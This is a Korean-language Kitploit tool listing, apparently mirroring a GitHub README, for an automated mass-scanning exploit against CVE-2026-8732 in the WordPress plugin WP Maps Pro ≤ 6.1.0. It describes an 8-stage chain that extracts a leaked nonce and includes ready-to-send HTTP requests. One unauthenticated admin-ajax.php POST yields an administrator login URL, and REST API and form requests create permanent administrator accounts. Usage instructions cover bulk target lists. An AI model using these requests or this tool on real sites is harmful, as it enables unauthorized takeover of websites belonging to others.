Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8732 — CVE-2026-8732를 위한 자동화된 8단계 익스플로잇입니다. 이는 WP Maps Pro ≤ 6.1.0에서 인증되지 않은 권한 상승 취약점입니다. 멀티프로세싱과 asyncio를 사용하여 대상을 스캔하고, nonce를 추출하며, 관리자 계정을 생성합니다. | Kitploit
도구/GitHubGitHub/zycoder0day/cve-2026-8732
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubzycoder0day/cve-2026-8732

CVE-2026-8732

CVE-2026-8732를 위한 자동화된 8단계 익스플로잇입니다. 이는 WP Maps Pro ≤ 6.1.0에서 인증되지 않은 권한 상승 취약점입니다. 멀티프로세싱과 asyncio를 사용하여 대상을 스캔하고, nonce를 추출하며, 관리자 계정을 생성합니다.

저장소 보기
2114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

⚔️ CVE-2026-8732

WP Maps Pro ≤ 6.1.0 — 인증되지 않은 권한 상승

CVSS 9.8 CRITICAL CWE-306 Python 3.8+ License MIT

8단계 자동화 익스플로잇 | 멀티프로세싱 + Asyncio | 관리자 생성 검증


🎯 취약점 정보

WordPress 플러그인 WP Maps Pro 버전 ≤ 6.1.0에는 인증되지 않은 권한 상승 취약점이 있습니다. 자격 증명 없이도 공격자는 관리자 계정을 만들고 사이트를 장악할 수 있습니다.

이 취약점은 FlipperCode 벤더의 지원 팀을 위해 설계된 "임시 접근(Temporary Access)" 기능에서 비롯되었지만, 적절한 보호 없이 공개적으로 노출되었습니다.

정보세부 사항
CVECVE-2026-8732
CVSS9.8 (심각) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
플러그인WP Maps Pro (wp-google-map-gold)
벤더FlipperCode
영향받는 버전≤ 6.1.0
패치된 버전6.1.1
유형중요 함수에 대한 인증 누락 (CWE-306)
영향인증 없이 관리자 생성 → 사이트 전체 제어
PoC 작성자XENON1337

🔥 세 가지 관련 취약점

┌──────────────────────────────────────────────────────────────┐
│  취약점 1 — 인증 없이 노출된 엔드포인트                     │
│  ▸ AJAX 액션이 wp_ajax_nopriv_로 등록됨                     │
│  ▸ 누구나 로그인 없이 접근 가능                              │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  취약점 2 — 공개 페이지에서 난스(nonce) 유출                │
│  ▸ wpgmp_local.nonce 객체가 모든 페이지에 포함됨            │
│  ▸ 공격자가 HTML 소스에서 난스 추출 가능                    │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  취약점 3 — 접근 권한 검사 없음                             │
│  ▸ 콜백 함수는 난스만 확인함                                 │
│  ▸ current_user_can() 없음 — 추가 방어 수단 없음            │
└──────────────────────────────────────────────────────────────┘

⚡ 공격 체인 — 8단계

  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ 1단계   │──▶│ 2단계    │──▶│ 3단계    │──▶│ 4단계    │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0? │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ 취약함
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                    5단계 — 난스 추출                      │
  │                                                          │
  │  그룹 A (API)         그룹 B (콘텐츠)       그룹 C      │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  대상: wpgmp_local.nonce = "fc-call-nonce"               │
  └──────────────────────────┬───────────────────────────────┘
                             │ 난스 발견됨
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ 6단계   │──▶│ 7단계    │──▶│ 8단계    │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANEN │
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ 관리자 생성 완료
                               로그인: wp_xxxx / pass
                               역할: administrator

각 단계 세부 정보

단계이름기능요청 수
1Resolve병렬로 HTTPS/HTTP 선택1
2Check WP대상이 WordPress인지 확인0
3Detect Plugin3개 계층에서 WP Maps 지표 확인0-4
4Version + WAFreadme.txt / CSS ?ver= 읽기 + WAF 탐지1
5Ekstraksi Nonce3개 그룹으로 7가지 검색 방법 병렬 수행0-150
6Eksploitasiadmin-ajax.php POST → 임시 관리자 계정 생성1
7Verifikasi매직 URL 접근 → 관리자 세션 확인2
8Tambah AdminREST API (주) + WP-Admin form (보조)4

🛠️ 공격 방법

방법 1: 핵심 익스플로잇 — 인증 없이 관리자 생성

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<추출된_난스>
check_temp=false

취약한 경우 응답:

{"url":"https://target.com/?wpgmp_access=abc123def456"}

이 매직 URL은 자동 로그인을 제공하며, fc_user_XXXXX (역할: administrator)로 로그인됩니다.

방법 2: REST API를 통한 영구 관리자 추가

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

방법 3: WP-Admin 폼을 통한 관리자 추가 (보조)

POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- 핵심: 약한 비밀번호 확인
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

중요: pw_weak=1을 반드시 포함해야 합니다 — 이 매개변수가 없으면 WordPress가 약한 비밀번호를 거부합니다.


📐 아키텍처

CVE-2026-8732.py
│
├── 📦 NonceFinder — 7가지 방법으로 난스 검색
│   ├── 그룹 A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── 그룹 B (콘텐츠): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── 그룹 C (강제): M7 Slug brute force (30+ 일반 slug)
│
├── ⚔️ Exploiter — 8단계 익스플로잇 엔진
│   ├── resolve()           → 1단계: 프로토콜 선택
│   ├── check_wp()          → 2단계: WordPress 확인
│   ├── detect_plugin()     → 3단계: 플러그인 탐지 + 조기 난스
│   ├── detect_version()    → 4단계: 버전 탐지 + WAF
│   ├── exploit()           → 6단계: 핵심 익스플로잇
│   ├── verify()            → 7단계: 관리자 로그인 확인
│   └── add_admin()         → 8단계: 영구 관리자 추가
│
├── 🔧 Worker Process — 멀티프로세싱 작업 프로세스
│   ├── producer()          → mp.Queue에서 도메인 읽기
│   └── consumer() (N)      → 병렬 스캔 실행
│
└── 🖥️ Scanner — 사용자 인터페이스
    ├── single()            → 단일 대상 모드 (대화형)
    └── multi()             → 다중 대상 모드 (대량)

데이터 흐름

  targets.txt          mp.Queue (작업)         asyncio.Queue
  ┌─────────┐    ┌─────────────────┐    ┌──────────────────┐
  │ domain1 │───▶│  domain queue   │───▶│  internal queue  │
  │ domain2 │    │  (IPC between   │    │  (per process)   │
  │ domain3 │    │   processes)    │    └────────┬─────────┘
  │  ...    │    └─────────────────┘              │
  └─────────┘                          ┌─────────▼──────────┐
                                       │   소비자 (N)        │
                                       │   Exploiter.scan()  │
                                       │   8단계 전체        │
                                       └─────────┬──────────┘
                                                 │
                                       ┌─────────▼──────────┐
                                       │  mp.Queue (결과)    │──▶ vuln.txt
                                       │  + JSON + TXT      │    + debug.log
                                       └────────────────────┘

🚀 사용법

설치

pip install aiohttp

단일 대상 모드

python3 CVE-2026-8732.py
  [?] 모드 선택:
      1. Single Target
      2. Multi Target (파일 목록)

  > 1

  [?] 대상 도메인 (http/https 없이): target.com
  [?] 타임아웃 [기본값: 15]: 15

다중 대상 모드 (대량)

python3 CVE-2026-8732.py
  [?] 모드 선택:
      1. Single Target
      2. Multi Target (파일 목록)

  > 2
도구 다운로드